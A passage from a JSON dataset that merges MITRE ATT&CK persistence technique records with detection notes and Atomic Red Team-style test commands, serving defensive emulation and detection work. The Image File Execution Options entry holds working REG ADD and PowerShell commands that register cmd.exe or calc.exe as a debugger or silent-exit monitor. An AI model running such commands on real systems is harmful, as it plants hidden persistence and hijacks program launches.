- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2020-01-24T18:26:18.933Z",
- "name": "Re-opened Applications",
- "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist
and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist
. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1108": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:18.867Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1108",
- "url": "https://attack.mitre.org/techniques/T1108"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
- "source_name": "Mandiant APT1"
- }
- ],
- "modified": "2021-03-08T10:33:00.985Z",
- "name": "Redundant Access",
- "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "3.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Network intrusion detection system",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1098.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lambert, Red Canary",
- "Dror Alon, Palo Alto Networks",
- "Or Kliger, Palo Alto Networks"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
- "created": "2020-06-24T12:42:35.144Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1098.004",
- "url": "https://attack.mitre.org/techniques/T1098/004"
- },
- {
- "source_name": "Venafi SSH Key Abuse",
- "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities",
- "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020."
- },
- {
- "source_name": "Google Cloud Privilege Escalation",
- "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/",
- "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022."
- },
- {
- "source_name": "Cybereason Linux Exim Worm",
- "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability",
- "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020."
- },
- {
- "source_name": "Google Cloud Add Metadata",
- "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata",
- "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022."
- },
- {
- "source_name": "Azure Update Virtual Machines",
- "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update",
- "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022."
- },
- {
- "source_name": "SSH Authorized Keys",
- "url": "https://www.ssh.com/ssh/authorized_keys/",
- "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify the SSH authorized_keys
file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys
file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys
.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config
.\n\nAdversaries may modify SSH authorized_keys
files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ",
- "modified": "2022-04-20T16:26:57.982Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "SSH Authorized Keys",
- "x_mitre_detection": "Use file integrity monitoring to detect changes made to the authorized_keys
file for each user on a system. Monitor for suspicious processes modifying the authorized_keys
file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1098.004"
- },
- "atomic_tests": []
- },
- "T1215": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jeremy Galloway",
- "Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1215",
- "url": "https://attack.mitre.org/techniques/T1215"
- },
- {
- "source_name": "Linux Kernel Programming",
- "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
- "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
- },
- {
- "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
- "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
- "source_name": "Linux Kernel Module Programming Guide"
- },
- {
- "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
- "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
- "source_name": "Volatility Phalanx2"
- },
- {
- "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
- "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
- "source_name": "CrowdStrike Linux Rootkit"
- },
- {
- "url": "https://github.com/f0rb1dd3n/Reptile",
- "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
- "source_name": "GitHub Reptile"
- },
- {
- "url": "https://github.com/m0nad/Diamorphine",
- "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
- "source_name": "GitHub Diamorphine"
- },
- {
- "url": "http://www.megasecurity.org/papers/Rootkits.pdf",
- "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
- "source_name": "iDefense Rootkit Overview"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
- "source_name": "RSAC 2015 San Francisco Patrick Wardle"
- },
- {
- "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
- "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
- "source_name": "Synack Secure Kernel Extension Broken"
- },
- {
- "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
- "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
- "source_name": "Securelist Ventir"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
- "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
- "source_name": "Wikipedia Loadable Kernel Module"
- },
- {
- "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html",
- "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
- "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs"
- }
- ],
- "modified": "2021-03-30T00:59:53.427Z",
- "name": "Kernel Modules and Extensions",
- "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload
and kextunload
commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)",
- "kill_chain_phases": [
- {
- "phase_name": "persistence",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "LKMs are typically loaded into /lib/modules
and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)
\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo
(Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload
commands and correlate with other unknown or suspicious activity.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1101": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:13.447Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1101",
- "url": "https://attack.mitre.org/techniques/T1101"
- },
- {
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
- "source_name": "Graeber 2014"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
- "source_name": "Microsoft Configure LSA"
- }
- ],
- "modified": "2020-01-24T17:35:47.598Z",
- "name": "Security Support Provider",
- "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages
and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages
. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe
with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
- "type": "attack-pattern",
- "created": "2020-01-24T15:05:58.384Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.012",
- "url": "https://attack.mitre.org/techniques/T1546/012"
- },
- {
- "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
- "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
- "source_name": "Microsoft Dev Blog IFEO Mar 2010"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
- "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
- "source_name": "Microsoft GFlags Mar 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
- "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
- "source_name": "Microsoft Silent Process Exit NOV 2017"
- },
- {
- "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
- "source_name": "Oddvar Moe IFEO APR 2018"
- },
- {
- "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
- "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
- "source_name": "Tilbury 2014"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
- "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
- "source_name": "FSecure Hupigon"
- },
- {
- "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
- "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
- "source_name": "Symantec Ushedix June 2008"
- }
- ],
- "modified": "2020-11-10T18:29:31.112Z",
- "name": "Event Triggered Execution: Image File Execution Options Injection",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe
). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger
values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\
where <executable>
is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\
. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS
and DEBUG_ONLY_THIS_PROCESS
. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
and RegSetValueEx
. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1546.012"
- },
- "atomic_tests": [
- {
- "name": "IFEO Add Debugger",
- "auto_generated_guid": "fdda2626-5234-4c90-b163-60849a24c0b8",
- "description": "Leverage Global Flags Settings\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_binary": {
- "description": "Binary To Attach To",
- "type": "path",
- "default": "calc.exe"
- },
- "payload_binary": {
- "description": "Binary To Execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /d \"#{payload_binary}\"\n",
- "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "IFEO Global Flags",
- "auto_generated_guid": "46b1f278-c8ee-4aa5-acce-65e77b11f3c1",
- "description": "Leverage Global Flags Settings\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_binary": {
- "description": "Binary To Attach To",
- "type": "path",
- "default": "notepad.exe"
- },
- "payload_binary": {
- "description": "Binary To Execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /t REG_DWORD /d 512\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /t REG_DWORD /d 1\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /d \"#{payload_binary}\"\n",
- "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "GlobalFlags in Image File Execution Options",
- "auto_generated_guid": "13117939-c9b2-4a43-999e-0a543df92f0d",
- "description": "The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.\nUpon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. \nUpon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process": {
- "description": "Process to monitor\n",
- "type": "string",
- "default": "whoami.exe"
- },
- "cmd_to_run": {
- "description": "Command to execute\n",
- "type": "string",
- "default": "cmd.exe /c calc.exe"
- }
- },
- "executor": {
- "command": "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n",
- "cleanup_command": "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1177": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1177",
- "url": "https://attack.mitre.org/techniques/T1177"
- },
- {
- "url": "https://technet.microsoft.com/library/cc961760.aspx",
- "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
- "source_name": "Microsoft Security Subsystem"
- },
- {
- "url": "https://technet.microsoft.com/library/dn408187.aspx",
- "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
- "source_name": "Microsoft LSA Protection Mar 2014"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
